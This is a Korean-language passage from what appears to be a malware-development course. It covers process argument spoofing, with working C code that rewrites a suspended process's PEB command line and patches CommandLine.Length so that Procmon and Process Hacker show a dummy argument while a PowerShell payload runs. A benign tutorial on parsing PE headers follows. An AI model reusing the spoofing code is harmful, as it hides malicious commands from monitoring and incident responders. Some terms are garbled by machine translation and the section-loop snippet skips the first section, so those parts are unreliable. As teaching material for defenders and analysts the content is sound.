    	if (!WriteToTargetProcess(Pi.hProcess, (PVOID)pParms->CommandLine.Buffer, (PVOID)szRealArgs, (DWORD)(lstrlenW(szRealArgs) * sizeof(WCHAR) + 1))) {
    		printf("\t[!] Failed To Write The Real Parameters\n");
    		return FALSE;
    	}
    
    
    	// Cleaning up
    	HeapFree(GetProcessHeap(), NULL, pPeb);
    	HeapFree(GetProcessHeap(), NULL, pParms);
    
    	// Resuming the process with the new paramters
    	ResumeThread(Pi.hThread);
    
    	// Saving output parameters
    	*dwProcessId     = Pi.dwProcessId;
    	*hProcess        = Pi.hProcess;
    	*hThread         = Pi.hThread;
    
    	// Checking if everything is valid
    	if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
    		return TRUE;
    
    	return FALSE;
    }

    데모

    powershell.exe Totally Legit Argument는 기록될 더미 인수이고, powershell.exe -c calc.exe는 실행되는 페이로드입니다.


    49. 프로세스 인자 스푸핑 (2)

    프로세스 인자 스푸핑 (2)

    소개

    이전 모듈에서 Procmon은 더미 명령줄 인수를 로깅하도록 속였습니다. 그러나 동일한 기법이 Process Hacker와 같은 일부 도구에서는 잘 작동하지 않습니다. 아래 이미지는 Process Hacker에서 인수를 스푸핑한 결과를 보여줍니다.

    프로세스 해커에 의해 합법적인 인수가 더미 인수의 일부와 함께 노출되고 있습니다. 이 모듈은 이러한 현상이 발생하는 이유를 분석하고 해결책을 제시합니다.

    문제 분석

    합법적인 인수가 노출되는 이유를 더 잘 이해하기 위해 더미 인수는 powershell.exe AAAAAAA....로 설정됩니다.

    프로세스 해커를 다시 확인하면 합법적인 인수와 더미 인수가 기록되는 것을 확인할 수 있습니다.

    페이로드를 덮어쓰기 위해 PEB->ProcessParameters.CommandLine.Buffer를 사용하는 것은 프로세스 해커와 프로세스 탐색기와 같은 다른 도구에 의해 노출될 수 있는데, 이러한 도구는 런타임에 프로세스의 명령줄 인수를 읽기 위해 NtQueryInformationProcess를 사용하므로 이러한 도구에 의해 노출될 수 있습니다. 이 작업은 런타임에 발생하기 때문에 현재 PEB->ProcessParameters.CommandLine.Buffer 내부에 무엇이 있는지 확인할 수 있습니다.

    솔루션

    이러한 도구는 CommandLine.Length에 지정된 길이까지 CommandLine. Buffer를 읽습니다. Microsoft는 문서에서 UNICODE_STRING.Buffer가 널로 종료되지 않을 수 있다고 명시하고 있기 때문에 이 도구는 CommandLine.Buffer가 널로 종료되는 것에 의존하지 않습니다.

    즉, 이러한 도구는 CommandLine.Buff er가 널 종료되지 않은 경우 불필요한 바이트를 추가로 읽는 것을 방지하기 위해 CommandLine. Buffer에서 읽는 바이트 수를 CommandLine.Length와 같도록 제한합니다.

    명령줄 길이를 버퍼 크기보다 작게 설정하면 이러한 도구를 속일 수 있습니다. 이를 통해 CommandLine.Buffer 내부의 페이로드가 얼마나 노출되는지 제어할 수 있습니다. 이는 원격 프로세스에서 CommandLine.Length 주소를 패치하고 외부 도구가 읽을 버퍼의 원하는 크기를 전달하여 달성할 수 있습니다.

    CommandLine.Length 패치

    다음 코드 스니펫은 프로세스 해커가 CommandLine.Buffer에서 읽을 수 있는 것을 powershell.exe로만 제한하기 위해 PEB->ProcessParameters.CommandLine.Length를 패치합니다. 먼저 인수를 Totally Legit Argument로 스푸핑한 다음 길이를 sizeof(L"powershell.exe") 크기로 패치하는 방식으로 작동합니다.

    DWORD dwNewLen = sizeof(L"powershell.exe");
    
    if (!WriteToTargetProcess(Pi.hProcess, ((PBYTE)pPeb->ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length)), (PVOID)&dwNewLen, sizeof(DWORD))){
      return FALSE;
    }

    데모

    프로세스 해커 보기.

    Procmon 보기.

    51. 문자열 해싱


    50. PE 헤더 구문 분석

    PE 헤더 구문 분석

    소개

    초급 모듈 초반에 PE 파일 형식 구조에 대해 간략하게 설명했습니다. 이 모듈은 각 헤더에 접근하는 프로그래밍적인 관점보다는 이론에 더 중점을 두었습니다. 이 모듈에서는 PE 파일의 구성 요소를 추출하는 과정을 설명하고 궁극적으로 고급 모듈의 전제 조건이 될 파일 구조에 대한 더 많은 통찰력을 제공합니다.

    PE 구조를 잘 이해하지 못하는 경우 PE 파일 구조 입문 모듈을 검토하세요.

    PE 구조

    소개 모듈의 아래 다이어그램은 PE 형식의 단순화된 구조를 보여줍니다. 이미지에 표시된 모든 헤더는 PE 파일에 대한 정보를 담고 있는 데이터 구조로 정의됩니다.

    상대 가상 주소(RVA)

    RVA(상대 가상 주소)는 PE 파일 내의 위치를 참조하는 데 사용되는 주소입니다. 이 주소는 코드, 데이터, 리소스 등 PE 파일 내의 다양한 데이터 구조와 섹션의 위치를 지정하는 데 사용됩니다.

    RVA는 PE 파일의 시작 부분으로부터 데이터 구조 또는 섹션의 오프셋을 지정하는 32비트 값입니다. 메모리 내 절대 주소가 아닌 파일 시작 부분의 오프셋을 지정하기 때문에 ‘상대’ 주소라고 합니다. 이를 통해 파일 내의 RVA를 변경하지 않고도 동일한 파일을 메모리의 다른 주소에 로드할 수 있습니다.

    RVA는 PE 파일 형식에서 파일 내 다양한 데이터 구조와 섹션의 위치를 지정하는 데 광범위하게 사용됩니다. 예를 들어, PE 헤더에는 코드 및 데이터 섹션의 위치, 가져오기 및 내보내기 테이블, 기타 중요한 데이터 구조의 위치를 지정하는 여러 RVA가 포함되어 있습니다.

    RVA를 VA(가상 주소)로 변환하기 위해 운영 체제는 모듈의 기본 주소(모듈이 로드된 메모리 내 위치)를 RVA에 추가합니다. 이렇게 하면 운영 체제는 모듈이 메모리에서 로드된 위치에 관계없이 모듈 내의 지정된 위치에 있는 데이터에 액세스할 수 있습니다.

    도스 헤더(이미지_도스_헤더)

    DOS 헤더는 PE 파일의 시작 부분에 위치하며 파일 크기, 특성 등 파일에 대한 정보를 담고 있습니다. 가장 중요한 것은 NT 헤더에 대한 RVA(오프셋)가 포함되어 있다는 점입니다.

    다음 코드조각은 DOS 헤더를 검색하는 방법을 보여줍니다.

    // Pointer to the structure
    PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pPE;
    if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE){
    	return -1;
    }

    DOS 헤더는 PE 파일의 맨 처음에 위치하기 때문에 pPE 변수를 PIMAGE_DOS_HEADER로 타입 캐스팅하기만 하면 DOS 헤더를 검색할 수 있습니다. 이것은 DOS 헤더 구조에 대한 포인터를 제공합니다. 그런 다음 DOS 서명 검사를 수행하여 DOS 헤더가 유효한지 확인합니다.

    NT 헤더(IMAGE_NT_HEADERS)

    DOS 헤더의 e_lfanew 멤버는 IMAGE_NT_HEADERS 구조체에 대한 RVA입니다. NT 헤더에 도달하려면 메모리에 있는 PE 파일의 기본 주소를 오프셋(e_lfanew)에 추가하기만 하면 됩니다. 이 작업은 다음 코드 스니펫에서 수행됩니다.

    // Pointer to the structure
    PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pPE + pImgDosHdr->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) {
    	return -1;
    }

    if 문은 IMAGE_NT_HEADERS 구조의 유효성을 확인하기 위한 NT 서명 검사입니다.

    파일 헤더(이미지_파일_헤더)

    파일 헤더는 IMAGE_NT_HEADERS 구조체의 멤버이므로 다음 코드 줄을 사용하여 액세스할 수 있습니다.

    IMAGE_FILE_HEADER		ImgFileHdr	= pImgNtHdrs->FileHeader;

    파일 헤더 멤버

    IMAGE_FILE_HEADER 구조체의 멤버는 아래에 설명되어 있습니다.

    • 컴퓨터 – PE 파일 또는 객체 파일을 대상으로 하는 컴퓨터의 유형입니다.
    • 섹션 수 – PE 파일 또는 객체 파일에 있는 섹션 수입니다.
    • TimeDateStamp – PE 파일 또는 객체 파일이 생성된 시간 및 날짜입니다.
    • 포인터투심볼테이블 – 파일에 심볼 테이블이 있는 경우 해당 테이블로 오프셋합니다.
    • NumberOfSymbols – 기호 테이블에 있는 기호 수입니다.
    • SizeOfOptionalHeader – 선택적 헤더의 크기입니다.
    • 특성 – PE 파일 또는 객체 파일의 특성입니다. 이 필드의 값은 IMAGE_FILE_* 상수에 의해 정의되며, 이 상수는 PE 파일의 유형(.exe, .dll, .sys)을 지정합니다.

    선택적 헤더(이미지_옵션적_헤더)

    선택적 헤더는 IMAGE_NT_HEADERS 구조체의 멤버이므로 다음 코드를 사용하여 액세스할 수 있습니다.

    IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
    if (ImgOptHdr.Magic != IMAGE_NT_OPTIONAL_HDR_MAGIC) {
    	return -1;
    }
    

    if 문은 선택적 헤더를 확인하는 데 사용됩니다. IMAGE_NT_OPTIONAL_HDR_MAGIC의값은 애플리케이션이 32비트인지 64비트인지에 따라 달라집니다.

    • IMAGE_NT_OPTIONAL_HDR32_MAGIC – 32비트
    • IMAGE_NT_OPTIONAL_HDR64_MAGIC – 64비트

    컴파일러 아키텍처에 따라 IMAGE_NT_OPTIONAL_HDR_MAGIC 상수가 자동으로 올바른 값으로 확장됩니다.

    선택적 헤더 중요 멤버

    IMAGE_OPTIONAL_HEADER 구조의 가장 중요한 멤버는 아래에 설명되어 있습니다.

    • Magic – 파일에 있는 선택적 헤더의 유형을 지정합니다.
    • MajorLinkerVersion 및 MinorLinkerVersion – PE 파일을 만드는 데 사용된 링커의 버전을 지정합니다.
    • SizeOfCodeSizeOfInitializedDataSizeOfUninitializedData – 각각 PE 파일에서 코드, 초기화된 데이터, 초기화되지 않은 데이터 섹션의 크기를 지정합니다.
    • AddressOfEntryPoint – PE 파일에서 진입점 함수의 주소를 지정하며, 이는 진입점에 대한 RVA입니다.
    • BaseOfCode 및 BaseOfData – PE 파일에서 코드 및 데이터 섹션의 기본 주소를 각각 지정하며, 이는 RVA입니다.
    • ImageBase – PE 파일을 로드할 기본 기본 주소를 지정합니다.
    • 메이저 운영 체제 버전 및 마이너 운영 체제 버전 – PE 파일을 실행하는 데 필요한 운영 체제의 최소 버전을 지정합니다.
    • MajorImageVersion 및 MinorImageVersion – PE 파일의 버전을 지정합니다.
    • DataDirectory – 선택적 헤더에서 가장 중요한 멤버 중 하나입니다. 이것은 PE 파일의 디렉터리를 포함하는 IMAGE_DATA_DIRECTORY의 배열입니다(아래 설명 참조).

    데이터 디렉터리(이미지_데이터_디렉터리)

    데이터 디렉토리는 옵션의 헤더 마지막 멤버에서 액세스할 수 있습니다. 이것은 IMAGE_DATA_DIRECTORY 배열로, 배열의 각 요소는 특수 데이터 디렉토리를 참조하는 IMAGE_DATA_DIRECTORY 구조체입니다. IMAGE_DATA_DIRECTORY 구조는 아래와 같습니다.

    typedef struct _IMAGE_DATA_DIRECTORY {
        DWORD   VirtualAddress;
        DWORD   Size;
    } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

    구조의 필드에는 다음과 같은 정보가 포함됩니다:

    • 가상 주소 – PE 파일에서 지정된 구조의 가상 주소를 지정합니다( RVA).
    • 크기 – 데이터 디렉토리의 크기를 지정합니다.

    데이터 디렉터리 액세스

    PE 파일에 미리 정의된 데이터 디렉터리에는 다음이 포함됩니다:

    • IMAGE_DIRECTORY_ENTRY_EXPORT – PE 파일에서 내보내는 함수 및 데이터에 대한 정보를 포함합니다.
    • IMAGE_DIRECTORY_ENTRY_IMPORT – 다른 모듈에서 가져온 함수 및 데이터에 대한 정보를 포함합니다.
    • IMAGE_DIRECTORY_ENTRY_RESOURCE – PE 파일에 포함된 리소스(예: 아이콘, 문자열, 비트맵)에 대한 정보가 포함되어 있습니다.
    • IMAGE_DIRECTORY_ENTRY_EXCEPTION – PE 파일의 예외 처리 테이블에 대한 정보를 포함합니다.

    데이터 디렉토리는 다음 코드 줄을 사용하여 액세스할 수 있습니다.

    IMAGE_DATA_DIRECTORY DataDir = ImgOptHdr.DataDirectory[#INDEX IN THE ARRAY#];

    예를 들어 내보내기 디렉터리의 데이터 디렉터리를 검색하는 방법은 다음과 같습니다:

    IMAGE_DATA_DIRECTORY ExpDataDir = ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

    테이블 내보내기(이미지_내보내기_디렉토리)

    안타깝게도 이 모듈을 작성할 당시에는 이 구조가 Microsoft에서 공식적으로 문서화되어 있지 않았습니다. 따라서 구조를 이해하기 위해 인터넷에서 찾을 수 있는 비공식 문서를 사용했습니다.

    테이블 구조 내보내기

    내보내기 테이블은 아래와 같이 IMAGE_EXPORT_DIRECTORY로 정의된 구조입니다.

    typedef struct _IMAGE_EXPORT_DIRECTORY {
        DWORD   Characteristics;
        DWORD   TimeDateStamp;
        WORD    MajorVersion;
        WORD    MinorVersion;
        DWORD   Name;
        DWORD   Base;
        DWORD   NumberOfFunctions;
        DWORD   NumberOfNames;
        DWORD   AddressOfFunctions;     // RVA from base of image
        DWORD   AddressOfNames;         // RVA from base of image
        DWORD   AddressOfNameOrdinals;  // RVA from base of image
    } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

    내보내기 테이블 검색

    IMAGE_EXPORT_DIRECTORY 구조체는 PE 파일에서 내보내는 함수 및 데이터에 대한 정보를 저장하는 데 사용됩니다. 이 정보는 데이터 디렉토리 배열에 IMAGE_DIRECTORY_ENTRY_EXPORT 인덱스가 있는 데이터 디렉토리 배열에 저장됩니다. 이 정보를 가져오려면 IMAGE_OPTIONAL_HEADER 구조체에서 가져옵니다:

    PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pPE + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    여기서 pPE는 메모리에 로드된 PE의 기본 주소이고 ImgOptHdr은 이전에 계산된 IMAGE_OPTIONAL_HEADER 구조체입니다.

    테이블 중요 멤버 내보내기

    내보내기 테이블의 가장 중요한 멤버는 다음과 같습니다:

    • NumberOfFunctions – PE 파일로 내보내는 함수 수를 지정합니다.
    • NumberOfNames – PE 파일로 내보내는 이름 수를 지정합니다.
    • AddressOfFunctions – 내보낸 함수의 주소 배열의 주소를 지정합니다.
    • AddressOfNames – 내보낸 함수 이름의 주소 배열의 주소를 지정합니다.
    • AddressOfNameOrdinals – 내보낸 함수에 대한 서수 배열의 주소를 지정합니다.

    주소 테이블 가져오기(IMAGE_IMPORT_DESCRIPTOR)

    가져오기 주소 테이블은 IMAGE_IMPORT_DESCRIPTOR 구조의 배열이며, 각 구조는 이러한 DLL에서 사용된 함수가 포함된 DLL 파일에 대한 것입니다.

    주소 테이블 구조 가져오기

    IMAGE_IMPORT_DESCRIPTOR 구조는 Winnt.h 헤더 파일에 다음과 같이 정의되어 있지만 Microsoft에서 공식적으로 문서화하지 않은 구조이기도 합니다:

    typedef struct _IMAGE_IMPORT_DESCRIPTOR {
        union {
            DWORD   Characteristics;
            DWORD   OriginalFirstThunk;
        } DUMMYUNIONNAME;
        DWORD   TimeDateStamp;
        DWORD   ForwarderChain;
        DWORD   Name;
        DWORD   FirstThunk;
    } IMAGE_IMPORT_DESCRIPTOR;

    가져오기 주소 테이블 검색

    IMAGE_OPTIONAL_HEADER 구조에서 가져오기 주소 테이블을 가져옵니다:

    IMAGE_IMPORT_DESCRIPTOR* pImgImpDesc = (PIMAGE_IMPORT_DESCRIPTOR)(pPE + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    여기서 pPE는 메모리에 로드된 PE의 기본 주소이고 ImgOptHdr은 이전에 계산된 IMAGE_OPTIONAL_HEADER 구조체입니다.

    문서화되지 않은 추가 구조

    문서화되지 않은 몇 가지 구조체는 선택적 헤더의 IMAGE_DATA_DIRECTORY 배열을 통해 액세스할 수 있지만 Winnt.h 헤더 파일에는 문서화되어 있지 않습니다. 여기에는 앞서 설명한 주소 테이블 가져오기 및 내보내기 테이블과 추가 구조체가 포함됩니다. 다음은 문서화되지 않은 구조체의 몇 가지 예입니다.

    • IMAGE_TLS_DIRECTORY – 이 구조체는 PE 파일에 스레드-로컬 스토리지 (TLS) 데이터에 대한 정보를 저장하는 데 사용됩니다. 현재로서는 IMAGE_OPTIONAL_HEADER 구조체에서 이 구조체를 검색하는 방법을 알고 있어야 하며, 자세한 내용은 필요할 때 후속 모듈에서 제공될 예정입니다.
    PIMAGE_TLS_DIRECTORY pImgTlsDir  = (PIMAGE_TLS_DIRECTORY)(pPE + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);
    • IMAGE_RUNTIME_FUNCTION_ENTRY – 이 구조체는 PE 파일에 런타임 함수에 대한 정보를 저장하는 데 사용됩니다. 런타임 함수는 Windows 운영 체제의 예외 처리 메커니즘에서 예외에 대한 예외 처리 코드를 실행하기 위해 호출하는 함수입니다. 현재로서는 IMAGE_OPTIONAL_HEADER 구조체에서 이 구조체를 검색하는 방법을 알고 있어야 하며, 자세한 내용은 필요한 경우 후속 모듈에서 제공될 것입니다.
    PIMAGE_RUNTIME_FUNCTION_ENTRY pImgRunFuncEntry = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(pPE + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress);
    • IMAGE_BASE_RELOCATION – 이 구조체는 PE 파일의 기본 재배치에 대한 정보를 저장하는 데 사용됩니다. 기본 재배치는 PE 파일이 링크된 주소와 다른 주소에서 메모리에 로드될 때 가져온 함수 및 변수의 주소를 수정하는 데 사용됩니다. 현재로서는 IMAGE_OPTIONAL_HEADER 구조체에서 이 구조체를 검색하는 방법을 알고 있어야 하며, 자세한 내용은 필요한 경우 후속 모듈에서 제공될 것입니다.
    PIMAGE_BASE_RELOCATION pImgBaseReloc = (PIMAGE_BASE_RELOCATION)(pPE + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);

    체육 섹션

    .text, . data.reloc, . rsrc와 같은 중요한 PE 섹션에 유의하세요. 또한 컴파일러와 설정에 따라 더 많은 PE 섹션이 있을 수 있습니다. 이러한 각 섹션에는 해당 섹션에 대한 정보를 포함하는 IMAGE_SECTION_HEADER 구조체가 있습니다. IMAGE_SECTION_HEADER 구조체는 아래에 정의되어 있습니다.

    typedef struct _IMAGE_SECTION_HEADER {
      BYTE  Name[IMAGE_SIZEOF_SHORT_NAME];
      union {
        DWORD PhysicalAddress;
        DWORD VirtualSize;
      } Misc;
      DWORD VirtualAddress;
      DWORD SizeOfRawData;
      DWORD PointerToRawData;
      DWORD PointerToRelocations;
      DWORD PointerToLinenumbers;
      WORD  NumberOfRelocations;
      WORD  NumberOfLinenumbers;
      DWORD Characteristics;
    } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

    IMAGE_SECTION_HEADER 중요 멤버

    이미지 섹션 리더의 가장 중요한 멤버 중 일부입니다;

    • 이름 – 섹션의 이름을 지정하는 널로 끝나는 ASCII 문자열입니다.
    • 가상 주소 – 메모리에 있는 섹션의 가상 주소로, RVA입니다.
    • SizeOfRawData – PE 파일에서 섹션의 크기(바이트)입니다.
    • PointerToRelocations – 섹션에 대한 위치 변경의 파일 오프셋입니다.
    • NumberOfRocations – 섹션의 재배치 횟수입니다.
    • 특성 – 섹션의 특성을 지정하는 플래그를 포함합니다.

    이미지 섹션 헤더 구조 검색하기

    IMAGE_SECTION_HEADER 구조체는 PE 파일의 헤더 내에 배열로 저장됩니다. 첫 번째 요소에 액세스하려면 섹션이 NT 헤더 바로 뒤에 위치하므로 IMAGE_NT_HEADERS를 건너뛰면 됩니다. 다음 코드조각은 IMAGE_SECTION_HEADER 구조를 검색하는 방법을 보여 주며, 여기서 pImgNtHdrs는 IMAGE_NT_HEADERS 구조에 대한 포인터입니다.

    PIMAGE_SECTION_HEADER pImgSectionHdr = (PIMAGE_SECTION_HEADER)(((PBYTE)pImgNtHdrs) + sizeof(IMAGE_NT_HEADERS));

    배열을 통한 루핑

    배열을 반복하려면 배열 크기가 필요하며, 이 배열 크기는 IMAGE_FILE_HEADER.NumberOfSections 멤버에서 검색할 수 있습니다. 배열의 후속 요소는 현재 요소에서 sizeof(IMAGE_SECTION_HEADER )의 간격으로 위치합니다.

    PIMAGE_SECTION_HEADER pImgSectionHdr = (PIMAGE_SECTION_HEADER)(((PBYTE)pImgNtHdrs) + sizeof(IMAGE_NT_HEADERS));
    
    for (size_t i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {
    	// pImgSectionHdr is a pointer to section 1
    	pImgSectionHdr = (PIMAGE_SECTION_HEADER)((PBYTE)pImgSectionHdr + (DWORD)sizeof(IMAGE_SECTION_HEADER));
    	// pImgSectionHdr is a pointer to section 2
    }

    데모

    이 데모는 이 모듈에서 공유되는 PeParser 프로젝트를 보여줍니다. 이 프로젝트는 모듈 전체에서 설명한 방법을 사용하여 PE 파일을 구문 분석하는 데 사용할 수 있습니다. 32비트 프로그램을 구문 분석하려면 32비트 바이너리로, 64비트 프로그램을 구문 분석하려면 64비트로 PeParser를 컴파일해야 합니다.

    Share